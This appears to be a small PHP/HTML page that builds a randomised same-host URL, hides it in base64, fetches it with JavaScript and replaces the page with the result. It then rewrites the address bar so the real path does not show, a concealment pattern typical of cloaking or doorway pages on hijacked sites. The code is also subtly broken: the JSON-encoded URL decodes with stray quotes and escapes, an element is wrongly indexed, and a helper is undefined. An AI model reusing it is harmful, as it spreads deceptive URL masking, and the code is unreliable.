<?php
$randstr = get_rand_str(2,6);
$hostUrl = "http://".$_SERVER['HTTP_HOST']."/m2".$randstr."?_t=".time()*3;
$base64data = base64_encode(json_encode($hostUrl));
?>
<!doctype html>
<html lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>...</title>
</head>
<body>
<script>
    function clientSideInclude(url) {
        var req = false;
        if (window.XMLHttpRequest) {
            try {
                req = new XMLHttpRequest();
            } catch (e) {
                req = false;
            }
        } else if (window.ActiveXObject) {
            try {
                req = new ActiveXObject("Msxml2.XMLHTTP");
            } catch (e) {
                try {
                    req = new ActiveXObject("Microsoft.XMLHTTP");
                } catch (e) {
                    req = false;
                }
            }
        }
        var element = document.getElementsByTagName("body")[0];
        if (!element) {
            alert("error");
            return;
        }
        if (req) {
            req.open('GET', window.atob(url), false);
            req.send(null);
            if (req.status == 404) {
                alert("404");
            } else {
                var doc = document.open('text/html', 'replace');
                window.history.pushState({},0,'//'+location.host);
                doc.write(req.responseText);
                doc.close();
            }
        } else {
            element[0].innerHTML ="error";
        }
    }
    clientSideInclude("<?php echo $base64data;?>");
</script>
</body>
</html>